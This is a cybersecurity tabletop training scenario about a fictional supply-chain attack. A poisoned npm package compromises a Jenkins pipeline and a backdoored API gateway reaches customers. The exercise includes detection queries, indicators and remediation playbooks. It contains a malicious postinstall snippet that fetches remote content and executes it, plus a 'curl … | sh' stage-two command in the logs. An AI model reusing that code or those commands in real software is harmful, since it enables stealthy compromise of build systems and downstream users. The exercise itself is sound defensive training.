SC-025: Software Supply Chain Compromise¶
Scenario Header
Type: Supply Chain / CI/CD | Difficulty: ★★★★★ | Duration: 3–4 hours | Participants: 4–8
Threat Actor: PHANTOM FORGE — sophisticated eCrime group specializing in software supply chain attacks
Primary ATT&CK Techniques: T1195.002 · T1059 · T1105 · T1071
Threat Actor Profile¶
PHANTOM FORGE is a technically advanced threat group active since late 2024, specializing in software supply chain compromise. Unlike opportunistic attackers who target individual organizations, PHANTOM FORGE infiltrates upstream software dependencies and CI/CD pipelines to distribute backdoored artifacts to hundreds of downstream consumers simultaneously. The group demonstrates deep expertise in package management ecosystems (npm, PyPI, Maven), CI/CD orchestration platforms (Jenkins, GitHub Actions, GitLab CI), and code signing infrastructure.
The group has been observed compromising open-source libraries with high dependency counts, injecting malicious code during build processes, and bypassing code signing controls by stealing or forging signing certificates. Their operations exhibit patience — staging access for weeks before activating payloads — and operational security that includes C2 infrastructure rotating every 72 hours.
Motivation: Financial (ransomware deployment, data theft for sale) with suspected nation-state tasking for specific high-value targets in the defense and financial sectors.
Estimated Impact: 15+ confirmed supply chain compromises affecting ~1,200 downstream organizations, with estimated losses exceeding $45M across all victims.
Target Environment¶
Organization: Velocity Software Inc. (fictional) — a mid-size SaaS company with 400 employees, developing a widely used API gateway product deployed by 2,000+ enterprise customers.
| Component | Detail |
|---|---|
| Primary Product | VelocityGate API Gateway (deployed on-prem and SaaS) |
| Build System | Jenkins 2.426 on 10.20.1.50, GitHub Enterprise at 10.20.1.10 |
| Artifact Repository | JFrog Artifactory at 10.20.1.60 |
| Package Registry | Internal npm registry mirroring public npmjs.com |
| Code Signing | Internal CA at 10.20.1.70, HSM-backed signing keys |
| Production | Kubernetes cluster at 10.20.2.0/24 |
| Monitoring | Splunk SIEM at 10.20.3.10, Datadog APM |
| CI/CD Pipeline | 47 microservices, ~200 builds/day, automated deployment to staging |
| External IPs | Corporate egress: 203.0.113.50/29 |
Scenario Narrative¶
Phase 1 — Dependency Poisoning (~30 min)¶
PHANTOM FORGE identifies that VelocityGate's API gateway depends on an open-source npm package called fastlog-utils (fictional), maintained by a single developer. The package receives ~50,000 weekly downloads and is used by VelocityGate's core logging subsystem.
The attacker compromises the maintainer's npm account via credential stuffing (the maintainer reused a password exposed in a 2025 breach). With publish access, PHANTOM FORGE releases version 2.4.1 of fastlog-utils containing a postinstall script that downloads a secondary payload. The malicious code is obfuscated within a legitimate-looking performance improvement commit.
The poisoned package version is pulled automatically during VelocityGate's next CI build due to a permissive version range in package.json:
The ^2.3.0 range allows any minor/patch update, so 2.4.1 is installed automatically without developer review.
Malicious postinstall behavior:
// Obfuscated within legitimate minified code
const https = require('https');
const { execSync } = require('child_process');
const os = require('os');
if (process.env.CI === 'true' || process.env.JENKINS_URL) {
// Only activate in CI/CD environments
const payload = Buffer.from('aHR0cHM6Ly8yMDMuMC4xMTMuOTk=', 'base64').toString();
https.get(`${payload}/gate/${os.hostname()}`, (res) => {
let data = '';
res.on('data', (chunk) => data += chunk);
res.on('end', () => {
try { execSync(data, { stdio: 'ignore' }); } catch(e) {}
});
});
}
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| npm Audit Log | Package fastlog-utils@2.4.1 published — Account: dev-fastlog — IP: 203.0.113.99 (Tor exit) — 2026-03-10T02:14:33Z |
| Jenkins Build Log | npm install pulled fastlog-utils@2.4.1 — Build #4,847 — Project: velocitygate-core — 2026-03-10T08:31:22Z |
| Network Flow Log | Outbound HTTPS from 10.20.1.50 (Jenkins) → 203.0.113.99:443 — 4.2 KB — 2026-03-10T08:31:45Z |
| Jenkins Agent Log | Process spawned: /bin/sh -c curl -s https://203.0.113.99/stage2 | sh — PID: 28441 — User: jenkins — 2026-03-10T08:31:46Z |
Phase 1 — Discussion Inject
Technical: The dependency fastlog-utils used a permissive semver range (^2.3.0). What lockfile mechanisms (package-lock.json, npm shrinkwrap) would prevent automatic updates? How would npm audit signatures or Sigstore for npm help detect unauthorized publishes?
Decision: Your organization depends on 1,400+ open-source packages across all projects. How do you assess supply chain risk for each dependency? What criteria would you use to flag high-risk packages (single maintainer, low bus factor, no 2FA on publish)?
Expected Analyst Actions:
- [ ] Review
package-lock.jsonfor unexpected version changes in recent builds - [ ] Query npm registry for publish history of
fastlog-utils— identify account compromise - [ ] Analyze Jenkins build logs for postinstall script execution and network callbacks
- [ ] Block outbound connections from CI/CD agents to non-approved endpoints
- [ ] Scan all builds in the past 48 hours that consumed
fastlog-utils@2.4.1
Phase 2 — CI/CD Pipeline Compromise & Persistence (~35 min)¶
The stage-2 payload downloaded to the Jenkins agent establishes persistent access to the build environment. The attacker:
- Enumerates Jenkins credentials store, extracting GitHub PATs, Artifactory API keys, and SSH keys
- Modifies the Jenkinsfile in the
velocitygate-corerepository to inject a build step that embeds a backdoor into compiled artifacts - Installs a Jenkins plugin backdoor disguised as a "Build Metrics Collector" that persists across Jenkins restarts
The modified Jenkinsfile adds a subtle post-build step:
The injected curl command downloads a script that patches the compiled JavaScript bundles to include a reverse shell triggered by a specific HTTP header (X-Debug-Mode: PHANTOM-FORGE-2026). The patch is applied before the artifact is signed, meaning the backdoored artifact receives a valid code signature.
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| GitHub Audit Log | Jenkinsfile modified — Repo: velocity-software/velocitygate-core — Author: ci-bot (stolen PAT) — Commit: a3f8b21 — 2026-03-10T09:15:33Z |
| Jenkins Credentials | Accessed: github-pat-cibot, artifactory-deploy-key, ssh-prod-deploy — By: Jenkins agent PID 28441 — 2026-03-10T08:45:11Z |
| Jenkins Plugin Manager | New plugin installed: build-metrics-collector-1.0.hpi — Not from Jenkins Update Center — 2026-03-10T09:02:44Z |
| Network Flow Log | 10.20.1.50 → 203.0.113.99:443 — Periodic beacon every 300s — Starting 2026-03-10T09:05:00Z |
Phase 2 — Discussion Inject
Technical: The attacker modified the Jenkinsfile to inject a build step. What controls would detect unauthorized pipeline modifications? How would you implement pipeline-as-code integrity verification (e.g., signed commits, branch protection rules, required reviews for Jenkinsfile changes)?
Decision: Your Jenkins agents have broad network access to download dependencies during builds. The attacker exploited this to reach C2 infrastructure. How do you restrict network access for CI/CD agents without breaking legitimate dependency resolution? What does a "hermetic build" look like?
Expected Analyst Actions:
- [ ] Audit all Jenkinsfile changes in the past 7 days — compare to approved change requests
- [ ] List all Jenkins plugins and verify each against the official Jenkins Update Center
- [ ] Rotate all credentials stored in Jenkins credentials manager
- [ ] Review Jenkins agent network connections for non-approved external endpoints
- [ ] Check GitHub audit log for PAT usage from unexpected IP addresses
Phase 3 — Backdoored Artifact Distribution (~30 min)¶
Over the next 5 days, the compromised CI/CD pipeline produces 12 builds of VelocityGate, all containing the backdoor. The artifacts are signed with Velocity Software's legitimate code signing certificate (the signing process occurs after the backdoor injection) and published to Artifactory.
The release process distributes velocitygate-5.2.1 to customers via:
- Artifactory download portal (enterprise customers)
- Docker Hub image
velocitysoftware/velocitygate:5.2.1 - Helm chart repository update
Within 5 days, 340 customer organizations have deployed the backdoored version.
On Day 6, PHANTOM FORGE activates the backdoor by sending HTTP requests with the trigger header to customer-facing VelocityGate instances discovered via Shodan:
The backdoor establishes a reverse HTTPS connection to 203.0.113.101:443 (rotating C2), providing the attacker with command execution in the context of the VelocityGate process — which typically runs with elevated privileges to manage API traffic.
Detection Timeline:
| Time | Event | Detected By |
|---|---|---|
| Day 0 (T+0) | Poisoned dependency pulled in CI build | None — no dependency integrity check |
| Day 0 (T+30m) | Jenkins agent compromised, credentials stolen | None — no anomalous process monitoring on CI agents |
| Day 0 (T+1h) | Jenkinsfile modified with malicious build step | None — no Jenkinsfile change alerting |
| Days 1–5 | 12 backdoored builds produced and distributed | None — artifact passes all tests and signing |
| Day 6 | Backdoor activated on 23 customer instances | Customer SOC: unusual outbound HTTPS to 203.0.113.101 |
| Day 7 | Velocity Software notified by customer CIRT | Email from customer CIRT with IOCs |
| Day 7 (T+4h) | Internal investigation confirms supply chain compromise | Velocity IR team — Jenkinsfile diff analysis |
| Day 8 | Customer advisory and emergency patch released | Velocity PSIRT |
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| Artifactory Log | Artifact velocitygate-5.2.1.tar.gz published — SHA256: e4a3f8... (contains backdoor) — 2026-03-15T14:22:10Z |
| Code Signing Log | Artifact signed — Certificate: Velocity Software Inc Code Signing 2026 — Serial: 0A:1B:2C:3D — 2026-03-15T14:22:15Z |
| Customer WAF Log | Inbound request with header X-Debug-Mode: PHANTOM-FORGE-2026 — Source: 203.0.113.105 — 2026-03-16T11:44:22Z |
| Customer Firewall Log | Outbound HTTPS velocitygate-pod → 203.0.113.101:443 — Established — 2026-03-16T11:44:25Z |
| Docker Hub | Image velocitysoftware/velocitygate:5.2.1 pulled 1,847 times — Published: 2026-03-15T15:00:00Z |
Phase 3 — Discussion Inject
Technical: The backdoor was injected before code signing, so the artifact had a valid signature. What additional controls (reproducible builds, build provenance attestation with SLSA, binary transparency logs) would detect this? How does SLSA Level 3 prevent this specific attack?
Decision: 340 customer organizations have deployed the backdoored version. How do you handle coordinated disclosure? What is the communication plan for customers, regulators, and the public? How do you balance transparency with legal liability?
Expected Analyst Actions:
- [ ] Identify all builds produced since the Jenkinsfile modification — catalog affected artifacts
- [ ] Compare SHA256 hashes of clean vs. backdoored builds to create detection signatures
- [ ] Query Artifactory download logs to identify all customers who pulled the affected version
- [ ] Issue emergency customer advisory with IOCs and remediation instructions
- [ ] Coordinate with law enforcement and relevant ISACs
Phase 4 — Post-Compromise Activity at Customer Sites (~25 min)¶
At 23 customer organizations where the backdoor was activated, PHANTOM FORGE conducts targeted post-exploitation:
- Credential Harvesting: VelocityGate processes API traffic and has access to API keys, OAuth tokens, and session cookies in transit. The attacker exfiltrates these credentials.
- Lateral Movement: Using harvested credentials, the attacker pivots from the API gateway to internal services, databases, and cloud resources.
- Data Exfiltration: At 5 high-value targets (financial institutions and healthcare companies), the attacker stages and exfiltrates sensitive data via HTTPS to
203.0.113.102. - Ransomware Deployment: At 3 organizations, the attacker deploys ransomware after exfiltrating data, demanding payment in cryptocurrency.
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| API Gateway Log | Anomalous internal API calls from VelocityGate process — Endpoints: /admin/users, /api/v2/export — 2026-03-16T12:15:00Z |
| Network Flow | 10.20.5.20 (gateway) → 10.20.8.50 (database) — Port 5432 — 2.4 GB transferred — 2026-03-16T13:00:00Z |
| DNS Log | Resolution: exfil-drop.example.com → 203.0.113.102 — Source: 10.20.5.20 — 2026-03-16T14:30:00Z |
| Cloud Trail | S3 bucket velocity-customer-data — GetObject × 4,200 — Source: stolen IAM key — 2026-03-16T15:00:00Z |
Phase 4 — Discussion Inject
Technical: The API gateway had access to all API traffic in transit, making it a high-value target for credential harvesting. How would mutual TLS, token binding, and end-to-end encryption mitigate this risk even if the gateway is compromised?
Decision: As a customer who deployed the backdoored version, your API gateway has been processing sensitive data for 5 days. How do you scope the blast radius? What data breach notification obligations apply? How do you determine what data was actually exfiltrated vs. potentially exposed?
Expected Analyst Actions:
- [ ] Isolate all VelocityGate instances immediately — redirect traffic to clean instances
- [ ] Capture memory dumps from compromised gateway instances before shutdown
- [ ] Audit all API keys, tokens, and credentials that transited the gateway — force rotation
- [ ] Review database access logs for unauthorized queries from the gateway
- [ ] Preserve network flow logs for forensic analysis of exfiltration volume
Indicators of Compromise (IOCs)¶
Synthetic IOCs — For Training Only
All indicators below are fictional and created for this exercise. Do not use in production detection systems.
| IOC Type | Value | Context |
|---|---|---|
| IP Address | 203.0.113.99 | C2 server — initial payload delivery |
| IP Address | 203.0.113.101 | C2 server — backdoor callback |
| IP Address | 203.0.113.102 | Exfiltration endpoint |
| IP Address | 203.0.113.105 | Backdoor activation scanning |
| Domain | exfil-drop.example.com | Data exfiltration domain |
| npm Package | fastlog-utils@2.4.1 | Poisoned dependency version |
| HTTP Header | X-Debug-Mode: PHANTOM-FORGE-2026 | Backdoor trigger |
| SHA256 | e4a3f8b21c9d5e6f7a8b9c0d1e2f3a4b5c6d7e8f | Backdoored artifact hash |
| Jenkins Plugin | build-metrics-collector-1.0.hpi | Persistence plugin |
| File Path | /var/jenkins_home/plugins/build-metrics-collector/ | Plugin installation path |
| User-Agent | Mozilla/5.0 (PHANTOM-FORGE-Scanner/2.1) | Backdoor activation scanner |
| GitHub Commit | a3f8b21 | Malicious Jenkinsfile modification |
Detection Opportunities¶
| Phase | Technique | ATT&CK | Detection Method | Difficulty |
|---|---|---|---|---|
| 1 | Supply chain compromise | T1195.002 | Dependency lockfile integrity monitoring, npm audit signatures | Medium |
| 1 | Command execution via postinstall | T1059 | Process monitoring on CI/CD agents — alert on shell spawned by npm install | Medium |
| 2 | Ingress tool transfer | T1105 | Network monitoring: CI/CD agents connecting to non-approved external hosts | Easy |
| 2 | Pipeline modification | T1195.002 | Git audit log: Jenkinsfile changes without approved PR/review | Easy |
| 3 | Backdoor in signed artifact | T1195.002 | Reproducible builds, SLSA provenance attestation, binary diff analysis | Hard |
| 3 | C2 communication | T1071 | Network flow analysis: outbound HTTPS from application pods to unknown IPs | Medium |
| 4 | Credential harvesting | T1557 | API gateway behavior anomaly: unusual internal API call patterns | Hard |
| 4 | Data exfiltration | T1041 | DLP: large outbound data transfers from gateway instances | Medium |
SIEM Detection Queries¶
// Detect postinstall script execution in CI/CD environments
DeviceProcessEvents
| where InitiatingProcessFileName in ("node", "npm")
| where FileName in ("sh", "bash", "cmd", "powershell")
| where ProcessCommandLine has_any ("curl", "wget", "Invoke-WebRequest")
| where DeviceName has_any ("jenkins", "build-agent", "runner")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
| sort by Timestamp desc
// Detect Jenkinsfile modifications
GitHubAuditLog_CL
| where Action_s == "git.push"
| where FilesChanged_s has "Jenkinsfile"
| where ActorIP_s !in ("10.20.1.0/24")
| project TimeGenerated, Actor_s, Repository_s, ActorIP_s, CommitSHA_s
// Detect backdoor trigger header
AzureDiagnostics
| where ResourceType == "APPLICATIONGATEWAYS"
| where requestHeaders_s has "X-Debug-Mode"
| project TimeGenerated, clientIP_s, requestUri_s, requestHeaders_s
// Detect postinstall script execution in CI/CD environments
index=endpoint sourcetype=sysmon EventCode=1
ParentImage="*node*" OR ParentImage="*npm*"
Image="*/sh" OR Image="*/bash"
CommandLine="*curl*" OR CommandLine="*wget*"
host="jenkins*" OR host="build-agent*"
| table _time, host, ParentImage, Image, CommandLine
// Detect Jenkinsfile modifications from unexpected sources
index=github sourcetype=github:audit action="git.push"
files_changed="*Jenkinsfile*"
NOT actor_ip="10.20.1.*"
| table _time, actor, repository, actor_ip, commit_sha
// Detect outbound connections from CI/CD agents to non-approved hosts
index=firewall sourcetype=pan:traffic action=allowed
src_ip="10.20.1.50"
NOT dest_ip="10.20.*" NOT dest_ip="10.0.*"
NOT dest_ip IN (approved_ci_destinations_lookup)
| stats count by dest_ip, dest_port, app
| sort -count
ATT&CK Mapping¶
| Tactic | Technique | ID | Scenario Application |
|---|---|---|---|
| Initial Access | Supply Chain Compromise: Software Supply Chain | T1195.002 | Poisoned npm dependency pulled during CI build |
| Execution | Command and Scripting Interpreter | T1059 | Postinstall script executes shell commands on Jenkins agent |
| Command and Control | Ingress Tool Transfer | T1105 | Stage-2 payload downloaded from C2 to Jenkins agent |
| Command and Control | Application Layer Protocol: Web Protocols | T1071 | C2 communication over HTTPS, backdoor callback over HTTPS |
| Persistence | Compromise Software Supply Chain | T1195.002 | Malicious Jenkins plugin and modified Jenkinsfile |
| Credential Access | Credentials from Password Stores | T1555 | Jenkins credentials store enumeration |
| Defense Evasion | Code Signing | T1553.002 | Backdoored artifact signed with legitimate certificate |
| Impact | Supply Chain Compromise | T1195.002 | 340 downstream customers received backdoored artifact |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | Data exfiltrated over HTTPS to C2 infrastructure |
Response Actions¶
Immediate Response (0–4 hours)
- [ ] Contain: Isolate Jenkins server (
10.20.1.50) from the network — preserve for forensics - [ ] Contain: Disable the compromised
ci-botGitHub PAT and all Jenkins-stored credentials - [ ] Contain: Pull all versions of
velocitygate-5.2.1from Artifactory and Docker Hub - [ ] Notify: Alert all customers who downloaded the affected version with IOCs
- [ ] Detect: Deploy network signatures for C2 IPs (
203.0.113.99,.101,.102,.105) - [ ] Detect: Add WAF rule to log/block requests containing
X-Debug-Modeheader
Short-Term Response (4–48 hours)
- [ ] Investigate: Conduct forensic analysis of Jenkins server — timeline reconstruction
- [ ] Investigate: Review all builds since
2026-03-10for Jenkinsfile tampering - [ ] Remediate: Remove malicious Jenkins plugin
build-metrics-collector - [ ] Remediate: Revert Jenkinsfile to last known good commit, require signed commits
- [ ] Remediate: Pin all dependencies to exact versions, regenerate lockfiles
- [ ] Remediate: Rebuild and re-sign all affected artifacts from clean source
- [ ] Communicate: Issue PSIRT advisory with CVE assignment for the backdoor
Long-Term Remediation (1–4 weeks)
- [ ] Harden: Implement SLSA Level 3 build provenance for all artifacts
- [ ] Harden: Deploy dependency review automation (Socket.dev, Snyk, Dependabot)
- [ ] Harden: Restrict CI/CD agent network access to allow-listed endpoints only
- [ ] Harden: Implement reproducible builds to enable binary verification
- [ ] Harden: Require signed commits and branch protection rules for all pipeline files
- [ ] Harden: Implement hardware-backed code signing with dual-authorization
- [ ] Audit: Review all 1,400+ dependencies for single-maintainer and high-risk packages
- [ ] Process: Establish vendor/dependency risk assessment program
Lessons Learned¶
What Went Well¶
- Customer SOC detected the outbound C2 connection from the activated backdoor within 24 hours
- Velocity Software's PSIRT team mobilized quickly once notified and issued advisory within 12 hours
- Artifact signing infrastructure was intact — the signing itself was not compromised, only the build input
What Failed¶
- No dependency integrity verification: Permissive semver ranges and missing lockfile enforcement allowed the poisoned package to enter the build without review
- No CI/CD network segmentation: Jenkins agents had unrestricted outbound internet access, enabling C2 communication
- No pipeline file change alerting: Jenkinsfile modification by a stolen PAT was not flagged because there was no separation between CI automation and pipeline configuration changes
- Code signing gap: Signing occurred after the build step, so a compromised build produced a validly-signed malicious artifact — the signing process verified identity, not integrity
Key Takeaways¶
- Supply chain security requires defense in depth — lockfiles, integrity checks, network segmentation, reproducible builds, and provenance attestation are all necessary layers
- CI/CD pipelines are high-value targets — treat them as critical infrastructure with the same security rigor as production
- Code signing is not a silver bullet — if the build is compromised before signing, the signature validates a backdoored artifact
- Dependency management is a security function — SCA tools, maintainer reputation assessment, and lockfile enforcement are essential
- Incident response must include downstream notification — supply chain incidents require coordinated multi-party response
Remediation Playbook¶
Supply Chain Security Controls
Dependency Management:
- [ ] Pin all dependencies to exact versions — use lockfiles (
package-lock.json,yarn.lock,Pipfile.lock) - [ ] Enable lockfile integrity verification in CI/CD —
npm ciinstead ofnpm install - [ ] Deploy dependency review automation: Socket.dev for behavior analysis, Snyk for vulnerability scanning
- [ ] Implement a private registry proxy (Artifactory, Nexus) that mirrors and scans public packages
- [ ] Establish a dependency approval workflow for new packages — assess maintainer trust, bus factor, and permissions scope
- [ ] Monitor npm/PyPI for account compromises affecting your dependency tree
CI/CD Pipeline Hardening:
- [ ] Implement hermetic builds — CI/CD agents should only access pre-approved dependency mirrors
- [ ] Restrict outbound network access from build agents to allow-listed endpoints via firewall rules
- [ ] Require signed commits for all pipeline configuration files (Jenkinsfile,
.github/workflows/) - [ ] Enable branch protection rules requiring PR reviews for pipeline file changes
- [ ] Implement build agent ephemeral environments — destroy and recreate agents after each build
- [ ] Monitor for unauthorized Jenkins plugin installations — alert on plugins not from the Update Center
- [ ] Store CI/CD credentials in external secret managers (HashiCorp Vault, AWS Secrets Manager) — never in Jenkins credential store
Artifact Integrity & Distribution:
- [ ] Implement SLSA Level 3 build provenance — generate and publish signed provenance attestations
- [ ] Enable reproducible builds — any party should be able to verify build output matches source
- [ ] Deploy binary transparency logging — publish all artifact hashes to an append-only transparency log
- [ ] Implement dual-authorization for code signing — require two authorized individuals for production signing
- [ ] Sign container images with cosign/Sigstore and enforce signature verification in deployment
- [ ] Monitor artifact download patterns — alert on unusual spikes in distribution
Detection & Monitoring:
- [ ] Monitor CI/CD agent process trees — alert on shell processes spawned by package managers
- [ ] Implement network anomaly detection for build environments — alert on connections to non-approved hosts
- [ ] Deploy file integrity monitoring on pipeline configuration files
- [ ] Enable comprehensive audit logging for all CI/CD platforms (Jenkins, GitHub Actions, GitLab CI)
- [ ] Integrate SCA (Software Composition Analysis) scanning into every build pipeline stage
Debrief Guide¶
What Went Well¶
- Customer SOC detected the outbound C2 connection from activated backdoor within 24 hours of activation
- Velocity Software's PSIRT team mobilized quickly and issued customer advisory within 12 hours
- Complete Jenkins audit logs and GitHub audit logs enabled full timeline reconstruction
Key Learning Points¶
- Single-maintainer packages are a systemic risk — assess dependency health as a security metric
- Semver ranges trust upstream publishers — lockfiles and integrity checks are the compensating control
- CI/CD credentials are crown jewels — a compromised build agent can access every secret in the pipeline
- Code signing validates identity, not integrity — signing a compromised build produces a valid but malicious artifact
- Supply chain attacks have multiplicative impact — one compromised build reaches hundreds of downstream consumers
Recommended Follow-Up¶
- [ ] Conduct supply chain risk assessment of all 1,400+ dependencies
- [ ] Implement SLSA Level 3 for all production artifact builds
- [ ] Deploy hermetic build environments with network isolation
- [ ] Establish dependency review board for new package approvals
- [ ] Conduct quarterly CI/CD security assessment
- [ ] Implement build provenance verification in customer deployment workflows
- [ ] Create incident response runbook specifically for supply chain compromise scenarios
- [ ] Share anonymized IOCs and TTPs with relevant ISACs
Discussion Questions¶
- VelocityGate used a permissive semver range (
^2.3.0) for a critical dependency. What is the trade-off between pinning exact versions (security) and allowing automatic updates (maintainability)? How do tools like Renovate or Dependabot help balance this? - The attacker injected the backdoor before code signing, producing a validly-signed malicious artifact. How does SLSA (Supply-chain Levels for Software Artifacts) address this gap? What SLSA level would have prevented this attack?
- 340 customer organizations deployed the backdoored version. As Velocity Software's CISO, what is your communication plan? How do you handle customers who have already been compromised through the backdoor?
- The poisoned npm package was published from a compromised maintainer account. What responsibility do package registries (npm, PyPI) have for verifying publisher identity? How would Sigstore/cosign help?
- PHANTOM FORGE demonstrated patience — staging access for days before activation. How do you detect "dormant" supply chain compromises that pass all functional tests?
References¶
- Chapter 24: Supply Chain Attacks
- Chapter 9: Incident Response Lifecycle
- Chapter 6: Triage & Investigation
- Chapter 14: Threat Intelligence Fundamentals
- SLSA Framework — Supply-chain Levels for Software Artifacts
- NIST SP 800-218 — Secure Software Development Framework